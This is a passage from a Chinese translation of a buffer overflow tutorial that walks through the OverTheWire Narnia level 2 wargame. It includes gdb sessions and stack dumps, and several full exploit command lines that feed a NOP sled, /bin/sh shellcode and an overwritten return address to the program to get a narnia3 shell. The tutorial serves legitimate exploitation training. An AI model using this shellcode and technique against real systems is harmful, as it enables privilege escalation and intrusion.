(gdb) print $esp $28 = (void *) 0xffffd69c (gdb) print $ebp $29 = (void *) 0x90909090 (gdb) print $eip $30 = (void (*)()) 0x804848b <main+103>
看起来好像保存的ebp已经成功地被重写并弹出到ebp中了。我们可以看到esp指向0xffffd69c处被重写的eip,而且我们返回时还会弹到eip中。我们获得了eip空间,给我们的/bin//sh加上两个nop,0压栈驻留,eip所在的值完美的指回0xffffd610,我们的第一个nop。太好了,现在看起来万事俱备了。
(gdb) c Continuing. process 32319 is executing new program: /proc/32319/exe /proc/32319/exe: Permission denied.
貌似失败,但是没问题,这是调试器的事。gdb在告诉我们,我们正在调试的进程正试图开启一个新进程。gdb无法处理它:追踪一个程序的内存,然后接管它的整个内存空间。当你加载一个程序到gdb时,它使用它加载的符号表和其他静态信息导航。它没法导航这个新的内存空间(相同的空间,不同的内容),因此它对你大喊大叫。没关系,我们只需从gdb外面将栈捣毁。
narnia2@melinda:/games/narnia$ ./narnia2 `python -c 'print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x10\xd6\xff\xff"'` Segmentation fault
看起来又失败了,什么发生了变化?如果我们仔细看gdb调用narnia2程序的方式,它使用的是完整的/games/narnia/narnia2文件路径,gdb不会像我一样在有bash的文件系统附近闲逛。我用"./"调用程序,"./"是表示"从当前目录"的语法。任何C程序员,或记忆不错的人,可能会快速意识到我们是与一个接受参数的程序共事,而这些参数置于程序起始处的栈上。从这场马拉松的开始的地方回忆,第一个参数argv[0]是用于调用程序的字符串,而这个字符串的长度会影响栈的对齐。我运行程序时使用的字符串比gdb的字符串少了12个字符。因为我将返回地址放在nop雪橇的顶部,因此即便是短一个字节的调用都会把事情搞砸。这确实说明了当程序运行时为什么你必须注意所有会影响内存布局的因素,会影响程序状态的因素也是一样。如果在这个简单的案例中它能产生很大影响的话,想象一下在真实场景中是有多重要。
但是指向的返回地址刚好在nop雪橇顶部击败了它的企图。这个主意是给我们一个巨大的目标,所以为什么我们要瞄准一个极端呢?如果我们使用相同的有问题的调用,将目标定为雪橇中间的某个地方,不管怎样,它都可能向上或向下移动内存,我们获得了击中它的最佳机会。比起0xffffd610,我们再试一次吧,瞄准0xffffd640,距离我们之前的那个48字节,gdb运行如下:
narnia2@melinda:/games/narnia$ ./narnia2 `python -c 'print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x40\xd6\xff\xff"'` $
bingo,看起来和我们通常的bash提示符不一样了:
$whoami narnia3
我们现在是narnia3了,太好了。现在可以cat那个password文件了。在强调一次,我们看到的目标并非真正的目标,到达目标的旅途才是我们的目标。不要高兴得太早,我们现在还没完成目标呢。和我们利用nop雪橇是有利的一样,到那个试图让一个exp能用时,我们也应该经常性的试一下复制已知条件。让我们通过复制已知工作条件来示范一下,这也能解决问题,跟我们之前所做的一样,像gdb一样使用全路径。我会回来使用这个原始的返回值,buf顶部和我们的nop雪橇(0xffffd610)看起来是这样的:
arnia2@melinda:/games/narnia$ /games/narnia/narnia2 `python -c 'print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x10\xd6\xff\xff"'` $
如魔法一般奏效了,但是就像我说的,在这种情况下这样做有点傻。我们有一大片nop滑雪区可以瞄准,因此在gdb外边新新的条件下,我们最好是做两手准备:瞄准中间、复制已知条件。104个nop滑雪区是一个巨大的目标,我们很少能这么奢侈。然而,我们可以证明nop雪橇的有效性。它给我们提供了栈上的104个位置,如果返回值击中了它们,就能可靠的执行我们的shellcode,看这个:
narnia2@melinda:/games/narnia$ /games/narnia/narnia2 `python -c 'print "\x90"*104 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*8 + "\x78\xd6\xff\xff"'` $
再来检查一下栈:
Breakpoint 5, 0x0804848a in main () (gdb) x/64xw $esp 0xffffd600: 0x08048574 0xffffd610 0x00000001 0xf7ec4a79 0xffffd610: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd620: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd630: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd650: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd660: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd670: 0x90909090 0x90909090 0x438ddb31 0x80cd9917 0xffffd680: 0x6851c931 0x68732f6e 0x622f2f68 0x0b418d69 0xffffd690: 0x80cde389 0x90909090 0x90909090 0xffffd610 0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7fd3000 0xffffd6b0: 0x00000000 0xffffd71c 0xffffd740 0x00000000 0xffffd6c0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000 0xffffd6d0: 0x00000000 0x1253bd97 0x25561987 0x00000000 0xffffd6e0: 0x00000000 0x00000000 0x00000002 0x08048370 0xffffd6f0: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
我们的nop雪橇中最后的4个nop操作符组合在0xffffd674处,而实际的shellcode从0xffffd678开始,因此在返回之前我们实际跳过了nop雪橇直接运行我们的代码。再一次,这是很傻的,不过它的行为却证明了nop雪橇的威力。用0xffffd610和0xffff678之间的任何值重写eip都能让我们获得narnia3的shell,因而,如果我们精准地瞄准了中间,栈可以由一个巨大的52字节关闭而我们仍可以获得我们的shell,实在是太可靠了。
我们已经将我们的方法塞入了narnia2程序中,让其以narnia3运行,然后把分数刷了上去,让它变成了一个好笑的shell,接管内存中它的地方然后继续以narnia3运行,这真的是太酷了。当然,你并不受限于shellcode,有时候快速的运行cat可能更有利,开启netcat并监听,打开netcat并连回主机,这是老生常谈了。在形形色色的metasploit脚本改变一切之前,人们是怎么做到?现在只需要敲下你想要的exploit然后设置一个meterpreter payload就行了。就像使用高级语言的程序员认为他们的源代码是真的一样,而我们已经见识过了这不过是一个抽象,metasplit也不是了解底层机制的替代品。
8. So long, and thanks for the nops:
你可能仍会对某些东西感到疑惑,我也想了一下你可能会有的几个问题,当然我自己也有一些。首先,到底是什么样的蠢蛋这样设置栈和eip/分支机制?eip这么重要却将其存储在栈上,从某种程度看来,这看起来有点傻乎乎的,但是还要考虑到所有这些机器码操作都是硬编码到CPU中的。当你的数据和代码在某一端而栈在另一端,且载入的节表在两者之间时,如果给它分配自己的栈,在给eip一个不同的压入机制和文件中它自身内存空间时就会出现问题。某种程度来说,即便是正常的操作也会出错。然而有些体系架构确实是这样做的,继续遵循这种方式有很多理由,它必须向后兼容,改变cpu的工作方式和你所有的旧代码及操作方式是一种浪费,再加上复杂的层次会降低效率。既然如此,为什么不从栈底开始自底向上写入呢?我猜是那样会使得读和写都以相反的方向工作,我猜那可能还会对速度产生影响,让cpu硬件变得不知所措,不过我仍然给不出一个合理的答案。我能说的是,电脑就是电脑,不管怎样,你都可以用它做一些聪明的事。漏洞总是会有的,程序员应该知道他们的选择所带来的影响。
还有的问题可能类似于'缓冲区溢出还有其他方法可用吗?看看栈溢出吧,它其实是有载荷的。记住,我们有一个指向程序参数的指针数组的指针,它位于ebp+0xc,而在[ebp+0xc]+4则是一个指向我们shellcode复制的指针。如果我们获得了那个位置的地址(我们可以在调试器中它刚加载到寄存器时中断并打印出寄存器的值),我们也可以重写eip指向那里。这会整齐很多的。我们仍有nop雪橇,也不必担心压栈会重写我们的代码。我们还能将shellcode赋给一个环境变量,这常常被称作"彩蛋"。继续,你可以写入堆溢出,重定向悬挂指针,一个聪明家伙的全部范围。一个非常简单的exploit可能只要将eip弹到程序中代码的有效位即可:如果这段代码是'检查密码,如果错误则退出,如果正确则用户登陆'这样的,就有可能直接跳到登陆代码区,或者如果它是一个函数的话,用形如'密码正确,用户是根用户'的参数调用它。
这就是这篇指南的全部内容了,如果你都弄明白了那真是不错。我希望你能明白我对待这个例子的透彻性,我认为只有当你解决了一路上遇到的问题才能真正明白到底发生了什么。通过展示正确的方式,我认为许多攻略只是提供了答案,既没有工具也没有过程,授人以鱼不如授人以渔。
我真心推荐任何学习漏洞利用的新手尝试一下这个挑战,上www.overthewire.org玩玩生存游戏,这真的很不错,它是一个免费而合法能学到点东西的地方,最后,祝你好运。
原文地址:http://hackhound.org/forums/tutorials/article/69-buffer-overflow-exploits-a-fools-guide-to-owning-eip/ <!--需登录才能浏览-->